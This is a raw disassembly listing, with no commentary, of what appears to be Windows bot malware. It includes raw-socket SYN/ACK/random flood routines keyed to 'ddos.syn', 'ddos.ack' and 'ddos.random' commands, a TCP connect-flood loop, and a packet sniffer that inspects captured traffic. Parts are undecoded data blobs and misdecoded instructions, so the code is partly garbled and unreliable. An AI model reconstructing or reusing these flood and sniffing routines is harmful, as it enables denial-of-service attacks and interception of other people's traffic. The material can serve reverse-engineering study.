push dword ptr [ebp-34h]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
movsb
loc_41294F: ; CODE XREF: seg000:004128E9j
mov esi, 200h
loc_412954: ; CODE XREF: seg000:00412983j
; seg000:004129ACj ...
mov edi, 0FFFFh
lea eax, [ebp-113B8h]
push edi
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-113B8h]
push ebx
push edi
push eax
push dword ptr [ebp-10h]
call ds:dword_4CDC10 ; recv
cmp byte ptr [ebp-113AFh], 6
jnz short loc_412954
push dword ptr [ebp-113A4h]
call ds:dword_4281E8 ; htons
push dword ptr [ebp-113A2h]
movzx edi, ax
mov [ebp-4], edi
call ds:dword_4281E8 ; htons
movzx eax, ax
cmp edi, 6Eh
mov [ebp+8], eax
jz short loc_412954
cmp edi, 19h
jz short loc_412954
cmp eax, 6Eh
jz short loc_412954
cmp eax, 19h
jz short loc_412954
push dword ptr [ebp-113ACh]
call sub_41249E
mov edi, ds:dword_4281EC
add esp, 4
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp-13B8h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
push dword ptr [ebp-113A8h]
call sub_41249E
add esp, 10h
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp-0BB8h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
lea eax, [ebp-1138Ch]
xor edi, edi
push eax
call sub_41B1D0
add esp, 10h
test eax, eax
jle short loc_412A49
loc_412A20: ; CODE XREF: seg000:00412A47j
lea eax, [ebp+edi-1138Ch]
cmp byte ptr [eax], 0Dh
jnz short loc_412A2F
mov byte ptr [eax], 20h
loc_412A2F: ; CODE XREF: seg000:00412A2Aj
cmp byte ptr [eax], 0Ah
jnz short loc_412A37
mov byte ptr [eax], 20h
loc_412A37: ; CODE XREF: seg000:00412A32j
lea eax, [ebp-1138Ch]
inc edi
push eax
call sub_41B1D0
cmp edi, eax
pop ecx
jl short loc_412A20
loc_412A49: ; CODE XREF: seg000:00412A1Ej
cmp dword ptr [ebp-4], 50h
jz loc_412AEB
cmp dword ptr [ebp+8], 50h
jz loc_412AEB
lea eax, [ebp-1138Ch]
push eax
call sub_4124AD
test al, al
pop ecx
lea eax, [ebp-1138Ch]
push eax
jz short loc_412A93
push dword ptr [ebp+8]
lea eax, [ebp-0BB8h]
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp-4]
push eax
push offset unk_4386A4
jmp loc_412B1C
; ---------------------------------------------------------------------------
loc_412A93: ; CODE XREF: seg000:00412A73j
call sub_4125C4
test al, al
pop ecx
lea eax, [ebp-1138Ch]
push eax
jz short loc_412ABF
push dword ptr [ebp+8]
lea eax, [ebp-0BB8h]
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp-4]
push eax
push offset unk_438670
jmp short loc_412B1C
; ---------------------------------------------------------------------------
loc_412ABF: ; CODE XREF: seg000:00412AA2j
call sub_41263A
test al, al
pop ecx
jz short loc_412AEB
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push dword ptr [ebp+8]
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp-4]
push eax
push offset unk_43863C
jmp short loc_412B1C
; ---------------------------------------------------------------------------
loc_412AEB: ; CODE XREF: seg000:00412A4Dj
; seg000:00412A57j ...
lea eax, [ebp-1138Ch]
push eax
call sub_4126C1
test al, al
pop ecx
lea eax, [ebp-1138Ch]
push eax
jz short loc_412B5A
push dword ptr [ebp+8]
lea eax, [ebp-0BB8h]
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp-4]
push eax
push offset unk_438604
loc_412B1C: ; CODE XREF: seg000:00412A8Ej
; seg000:00412ABDj ...
lea eax, [ebp-2B8h]
push esi
push eax
call sub_41BB70
add esp, 20h
cmp [ebp-2Ch], ebx
jnz loc_412954
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_409966
add esp, 14h
jmp loc_412954
; ---------------------------------------------------------------------------
loc_412B5A: ; CODE XREF: seg000:00412B01j
call sub_412748
test al, al
pop ecx
jz loc_412954
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push dword ptr [ebp+8]
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp-4]
push eax
push offset unk_4385CC
jmp short loc_412B1C
; ---------------------------------------------------------------------------
word_412B8A dw 8B55h ; DATA XREF: seg000:00407FA5o
dd 94EC81ECh, 8B000004h, 57560845h, 0A5B9h, 8DF08B00h
dd 0FFFD6CBDh, 0C7A5F3FFh, 29080h, 100h, 0A815FF00h, 50004280h
dd 8F0BE8h, 74858D00h, 50FFFFFEh, 0FF74858Dh, 8D50FFFFh
dd 0FFFDF485h, 858D50FFh, 0FFFFFD74h, 394E850h, 8D500000h
dd 0FFFB6C85h, 873468FFh, 0E8500043h, 8E86h, 0C483F633h
dd 0F8753920h, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h
dd 50FFFFFEh, 0FD6CB5FFh, 4FE8FFFFh, 83FFFF6Dh, 858D14C4h
dd 0FFFFFB6Ch, 2688E850h, 0B5FF0000h, 0FFFFFD70h, 0FF8656E8h
dd 565959FFh, 6FD3C7E8h, 5E5FD800h
; ---------------------------------------------------------------------------
loc_412C3C: ; CODE XREF: seg000:00412FB2p
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_4CDB68 ; WSAStartup
test eax, eax
jz short loc_412C7C
xor eax, eax
jmp loc_412F45
; ---------------------------------------------------------------------------
loc_412C7C: ; CODE XREF: seg000:00412C73j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_4CDC9C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_412F3D
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call ds:dword_4CDBD8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_412F33
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call ds:dword_4CDBF8 ; htons
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call ds:dword_4CDBF8 ; htons
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call ds:dword_4CDBF8 ; htons
mov [ebp-12h], ax
call sub_41BAD2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_4CDBF8 ; htons
push 12345678h
mov [ebp-14h], ax
call ds:dword_4CDBF4 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_412D4C
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_412DA0
; ---------------------------------------------------------------------------
loc_412D4C: ; CODE XREF: seg000:00412D41j
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h] ; CODE XREF: seg000:00412DC3j
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_412D68
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_412DA0
; ---------------------------------------------------------------------------
loc_412D68: ; CODE XREF: seg000:00412D5Dj
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_412DA0
call sub_41BAD2
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_41BAD2 ; CODE XREF: seg000:00412DCFj
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-7], dl
loc_412DA0: ; CODE XREF: seg000:00412D4Aj
; seg000:00412D66j ...
push 4000h
mov byte ptr [ebp-8], 50h
call ds:dword_4CDBF8 ; htons
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 0B10000h
loop near ptr loc_412D51+1
inc ebp
in al, 50h
call near ptr 0B10000h
and bh, bh
jnz short near ptr loc_412D89+4
mov eax, [ebp+18h]
cdq
push dword ptr [ebp-48h]
push edx
push eax
call sub_41D4A0
add eax, [ebp-1Ch]
push 14h
pop esi
adc edx, [ebp-18h]
mov [ebp-3Ch], eax
mov [ebp-38h], edx
loc_412DEE: ; CODE XREF: seg000:00412F2Aj
mov [ebp-4], bx
call sub_41BAD2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_4CDBF8 ; htons
mov [ebp-14h], ax
call sub_41BAD2
mov edi, eax
shl edi, 10h
call sub_41BAD2
or edi, eax
push edi
call ds:dword_4CDBF8 ; htons
movzx eax, ax
mov [ebp-10h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call ds:dword_4CDBF4 ; htonl
mov [ebp-28h], eax
mov eax, [ebp-24h]
push esi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call ds:dword_4CDBF8 ; htons
mov [ebp-6Eh], ax
mov eax, [ebp-28h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_41C500
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-94h]
push eax
call sub_41C500
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_40AB51
mov [ebp-4], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_41C500
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_41C500
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_41B780
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_40AB51
mov [ebp-2Ah], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_41C500
add esp, 14h
lea eax, [ebp-58h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-20h]
call ds:dword_4CDC5C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_412F49
add [ebp+10h], eax
lea eax, [ebp-1Ch]
push eax
call near ptr 0B10000h
xchg cl, [ebx+453BE845h]
enter 127Fh, 0Fh
mov edx, cs
; ---------------------------------------------------------------------------
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
cmp eax, [ebp-3Ch]
jb loc_412DEE
mov ebx, [ebp+10h]
loc_412F33: ; CODE XREF: seg000:00412CB4j
; seg000:00412F70j
push dword ptr [ebp-20h]
call ds:dword_4CDC90 ; closesocket
pop esi
loc_412F3D: ; CODE XREF: seg000:00412C97j
call ds:dword_4CDB50 ; WSACleanup
mov eax, ebx
loc_412F45: ; CODE XREF: seg000:00412C77j
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412F49: ; CODE XREF: seg000:00412F07j
; DATA XREF: seg002:off_43CE1Co
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp-0F4h]
push offset dword_43875C
push eax
call sub_41BA76
lea eax, [ebp-0F4h]
push eax
call sub_4152AE
add esp, 10h
jmp short loc_412F33
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A9E8
push dword ptr [esp+18h]
mov esi, eax
call sub_41B969
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B969
mov edi, eax
call sub_41BAD2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call loc_412C3C
add esp, 20h
test eax, eax
jnz short loc_412FBF
inc eax
loc_412FBF: ; CODE XREF: seg000:00412FBCj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
word_412FCE dw 8B55h ; DATA XREF: seg000:00408195o
dd 0BCEC81ECh, 8B000003h, 56530845h, 33686A57h, 0F08B59DBh
dd 0FE44BD8Dh, 0FF68FFFFh, 43000000h, 0A5F3036Ah, 9889026Ah
dd 19Ch, 0DC7815FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
dd 4CDB8Ch, 44858D50h, 68FFFFFCh, 43885Ch, 8A54E850h, 0FF330000h
dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h
dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF691DE8h, 14C483FFh
dd 0FC44858Dh, 0E850FFFFh, 2256h, 0E8C875FFh, 0FFFF8227h
dd 0E8575959h, 6FCF98h, 0F44D8D6Bh, 3351046Ah, 57026AFFh
dd 0F45D8950h, 0DBD815FFh, 0F883004Ch, 0FF5D75FFh, 4CDB8C15h
dd 858D5000h, 0FFFFFC44h, 43882C68h, 0DBE85000h, 83000089h
dd 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh, 858D50D8h
dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF68A6h, 8D14C483h
dd 0FFFC4485h, 0DFE850FFh, 0FF000021h, 0B0E8C875h, 59FFFF81h
dd 21E85759h, 3D006FCFh, 0FE48858Dh, 0FF50FFFFh, 4CDC3815h
dd 0FFF88300h, 858D5575h, 0FFFFFC44h, 43880C68h, 73E85000h
dd 39000089h, 5959DC7Dh, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3FE8FFFFh, 83FFFF68h
dd 858D14C4h, 0FFFFFC44h, 2178E850h, 75FF0000h, 8149E8C8h
dd 5959FFFFh, 0CEBAE857h, 6AA7006Fh, 0E4458D10h, 2DE85057h
dd 83000086h, 0C7660CC4h, 2E445h, 0F815FF57h, 66004CDBh
dd 8DE64589h, 0FFFE4885h, 15FF50FFh, 4CDC38h, 80A8358Bh
dd 45890042h, 87D89E8h, 4589D6FFh, 11EE9F8h, 1C680000h
dd 0C6000004h, 4D094005h, 15FF4500h, 4CDBF8h, 66D47D39h
dd 4D0942A3h, 1D896600h, 4D0944h, 463D8966h, 0C6004D09h
dd 4D094805h, 1D888000h, 4D0949h, 4A3D8966h, 74004D09h
dd 8904E830h, 0D88B0000h, 0E808E3C1h, 88FAh, 0E3C1D803h
dd 88F0E808h, 0D8030000h, 0E808E3C1h, 88E6h, 1D89D803h
dd 4D094Ch, 0EB43DB33h, 44B5FF18h, 0E8FFFFFEh, 0FFFF78F4h
dd 15FF5059h, 4CDC38h, 4D094CA3h, 0E8458B00h, 4D0950A3h
dd 88B4E800h, 0B9990000h, 100h, 1588F9F7h, 4D0954h, 88A1E8h
dd 0B99900h, 0F7000001h, 551588F9h, 0E8004D09h, 888Eh
dd 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D0956h, 5A1D8966h
dd 42004D09h, 58158966h, 0E8004D09h, 8866h, 0FFB999h, 0F9F70000h
dd 95C6852h, 1E8004Dh, 83000085h, 458D0CC4h, 50106AE4h
dd 41C6857h, 40680000h, 0FF004D09h, 15FFFC75h, 4CDC5Ch
dd 0FFFF883h, 9F84h, 845FF00h, 452BD6FFh, 3E8B9F8h, 0D2330000h
dd 453BF1F7h, 0CB860FD0h, 0FFFFFFFEh, 15FFFC75h, 4CDC90h
dd 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h
dd 48858D50h, 0FFFFFFFEh, 8D500875h, 0FFFEC885h, 858D50FFh
dd 0FFFFFC44h, 4387C068h, 77E85000h, 83000087h, 7D391CC4h
dd 572075DCh, 0FC44858Dh, 75FFFFFFh, 858D50D8h, 0FFFFFF48h
dd 44B5FF50h, 0E8FFFFFEh, 0FFFF6642h, 8D14C483h, 0FFFC4485h
dd 7BE850FFh, 0FF00001Fh, 4CE8C875h, 59FFFF7Fh, 0BDE85759h
dd 0DB006FCCh, 0FFFC75FFh, 4CDC9015h, 8C15FF00h, 50004CDBh
dd 0FE48858Dh, 75FFFFFFh, 78685008h, 8D004387h, 0FFFC4485h
dd 20068FFh, 0E8500000h, 87FCh, 3918C483h, 2075DC7Dh, 44858D57h
dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
dd 0FF65CDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 1F06h
dd 0E8C875FFh, 0FFFF7ED7h, 0E8575959h, 6FCC48h
db 57h
byte_4133B9 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00406F95o
dd 10320B8h, 894AE800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0BCBD8D59h, 0F3FFFFFEh, 47FF33A5h, 120B889h, 15FF0000h
dd 4CDB80h, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CDC38h
dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
dd 4CDC7Ch, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
dd 0BC858D50h, 68FFFFFCh, 4388B4h, 8644E850h, 0C4830000h
dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
dd 50FFFFFEh, 0FEBCB5FFh, 0FE8FFFFh, 83FFFF65h, 858D14C4h
dd 0FFFFFCBCh, 1E48E850h, 75FF0000h, 7E19E8D0h, 5959FFFFh
dd 0CB8AE857h, 3B6B006Fh, 8B0C74C3h, 8B0C40h, 4589008Bh
dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 82EAE850h, 4D830000h
dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h
dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
dd 4CDB1015h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CDCACh
dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 888868FFh, 0E8500043h
dd 8576h, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh
dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6441E8h
dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1D7Ah, 0E8D075FFh
dd 0FFFF7D4Bh, 0E8535959h, 6FCABCh
db 0DDh
byte_413545 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:004071EBo
dd 10310B8h, 87BEE800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0CCBD8D59h, 0F3FFFFFEh, 46F633A5h, 120B089h, 15FF0000h
dd 4280A8h, 854EE850h, 6A590000h, 6A026A11h, 7815FF02h
dd 8B004CDCh, 6AFF33D8h, 0F0458D10h, 0E9E85057h, 83000081h
dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CDC3815h
dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0DC7C15FFh
dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
dd 438908h, 8498E850h, 0C4830000h, 0E87D390Ch, 8D572075h
dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
dd 63E8FFFFh, 83FFFF63h, 858D14C4h, 0FFFFFCCCh, 1C9CE850h
dd 75FF0000h, 7C6DE8E0h, 5959FFFFh, 0C9DEE856h, 8BFC006Fh
dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
dd 8496h, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
dd 4CDBF815h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 8448E872h
dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h
dd 0EBE67CFFh, 0D04DFF56h, 8D5E0B6Ah, 106AF045h, 1FE85750h
dd 6A000084h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh, 0FEFCF085h
dd 0FF5350FFh, 4CDC5C15h, 0D875FF00h, 806415FFh, 754E0042h
dd 0DC7D39CEh, 0EFE81975h, 99000083h, 0FFDCB9h, 42F9F700h
dd 0F815FF52h, 66004CDBh, 39F24589h, 0A57FD07Dh, 8DD04DFFh
dd 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 4388DC68h, 5FE85000h
dd 83000083h, 7D390CC4h, 572075E8h, 0FCCC858Dh, 75FFFFFFh
dd 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh, 0FFFF622Ah
dd 8D14C483h, 0FFFCCC85h, 63E850FFh, 0FF00001Bh, 34E8E075h
dd 59FFFF7Bh, 0A5E85759h, 0B6006FC8h
dword_41375C dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: seg000:0040685Bo
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 115E8h
dd 858D5000h, 0FFFFFBECh, 43893068h, 0C7E85000h, 33000082h
dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh
dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 6190E8FFh, 0C483FFFFh
dd 0EC858D14h, 50FFFFFBh, 1AC9E8h, 0F075FF00h, 0FF7A9AE8h
dd 565959FFh, 6FC80BE8h, 5E5F0F00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4137F8 proc near ; CODE XREF: seg000:004138D9p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call ds:dword_4CDBF8 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_4138AE
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413842: ; CODE XREF: sub_4137F8+B2j
xor esi, esi
loc_413844: ; CODE XREF: sub_4137F8+77j
push 0
push 1
push 2
call ds:dword_428220 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_41386C
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4281F8 ; ioctlsocket
loc_41386C: ; CODE XREF: sub_4137F8+62j
inc esi
cmp esi, edi
jl short loc_413844
xor esi, esi
loc_413873: ; CODE XREF: sub_4137F8+91j
lea eax, [ebp+var_14]
push 10h
push eax
push [ebp+esi*4+var_654]
call ds:dword_428210 ; connect
inc esi
cmp esi, edi
jl short loc_413873
push 64h
call ds:dword_428064 ; Sleep
xor esi, esi
loc_413895: ; CODE XREF: sub_4137F8+ADj
push [ebp+esi*4+var_654]
call ds:dword_42821C ; closesocket
inc esi
cmp esi, edi
jl short loc_413895
dec [ebp+arg_4]
jnz short loc_413842
pop edi
pop esi
loc_4138AE: ; CODE XREF: sub_4137F8+3Ej
xor eax, eax
leave
retn
sub_4137F8 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A9E8
push dword ptr [esp+18h]
mov edi, eax
call sub_41B969
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B969
mov esi, eax
push esi
push ebx
push edi
call sub_4137F8
add esp, 18h
test eax, eax
jnz short loc_4138E6
inc eax
loc_4138E6: ; CODE XREF: seg000:004138E3j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_4138F5 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00407EADo
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
dd 858D50FFh, 0FFFFFDF0h, 30CE850h, 8D500000h, 0FFFBEC85h
dd 895C68FFh, 0E8500043h, 812Eh, 0C483F633h, 0F8753918h
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 0F7E8FFFFh, 83FFFF5Fh, 858D14C4h, 0FFFFFBECh
dd 1930E850h, 75FF0000h, 7901E8F0h, 5959FFFFh, 0C672E856h
dd 5F9B006Fh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413991 proc near ; CODE XREF: seg000:00413C7Ep
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_4CDB68 ; WSAStartup
test eax, eax
jz short loc_4139D1
xor eax, eax
jmp loc_413C15
; ---------------------------------------------------------------------------
loc_4139D1: ; CODE XREF: sub_413991+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_4CDC9C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413C0D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call ds:dword_4CDBD8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_413C03
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call ds:dword_4CDBF8 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call ds:dword_4CDBF8 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call ds:dword_4CDBF8 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call ds:dword_4CDBF8 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 0B10000h
out 8Dh, eax
inc ebp
clc
push eax
call near ptr 0B10000h
push small [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D4A0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413ABC: ; CODE XREF: sub_413991+25Dj
; sub_413991+269j
mov [ebp+var_24], bx
call sub_41BAD2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_4CDBF8 ; htons
mov [ebp+var_34], ax
call sub_41BAD2
mov edi, eax
shl edi, 10h
call sub_41BAD2
or edi, eax
push edi
call ds:dword_4CDBF8 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_4CDBF4 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_4CDBF8 ; htons
